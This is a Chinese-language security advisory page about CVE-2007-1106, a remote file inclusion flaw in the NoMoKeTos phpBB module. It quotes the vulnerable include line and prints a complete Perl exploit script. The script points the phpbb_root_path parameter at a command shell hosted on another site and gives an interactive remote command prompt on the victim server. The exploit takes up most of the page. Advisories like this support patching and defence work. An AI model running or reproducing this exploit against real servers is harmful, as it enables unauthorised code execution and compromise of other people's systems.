首页 -> 安全研究

安全研究

安全漏洞
NoMoKeTos PHPBB Module PHPBB_Root_Path远程文件包含漏洞

发布日期:2007-02-24
更新日期:2007-02-24

受影响系统:
nomoketo NoMoKeTos 0.0.1
描述:
BUGTRAQ  ID: 22713
CVE(CAN) ID: CVE-2007-1106

NoMoKeTo (module for phpBB)在实现上存在远程文件包含漏洞,可发送特制的URL请求到 functions_nomoketos_rules.php脚本,使用"phpbb_root_path "参数指定远程系统上的恶意文件,导致在有漏洞的服务器上执行任意代码。

问题代码:
include_once($phpbb_root_path . 'includes/functions_admin.'.$phpEx);


<*来源:bd0rk (bd0rk@hackermail.com
  
  链接:http://xforce.iss.net/xforce/xfdb/32686
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
#
#phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit
#
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, Lu7k, Maik
#
#Vulnerable Code: include_once($phpbb_root_path .
'includes/functions_admin.'.$phpEx);
#
# vendor: http://www.nomoketo.de/MODs/nomoketos_rules.zip

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'includes/functions_nomoketos_rules.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ ||
$return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or
No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print
"\n============================================================================\r\n";
print " *phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include
Exploit*\r\n";
print
"============================================================================\r\n";
}
sub usage()
{
head();
print " Usage: exploit.pl [target] [cmd shell location] [cmd shell
variable]\r\n\n";
print " <Site> - Full path to RulesMod ex: http://www.site.com/ \r\n";
print " <cmd shell> - Path to cmd Shell e.g
http://www.different-site.com/cmd.txt \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print
"============================================================================\r\n";
print "                           Bug Found by bd0rk \r\n";
print "                           www.soh-crew.it.tt \r\n";
print
"============================================================================\r\n";
exit();
}

建议:
厂商补丁:

nomoketo
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://nomoketo.de/wordpress/

浏览次数:1964
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障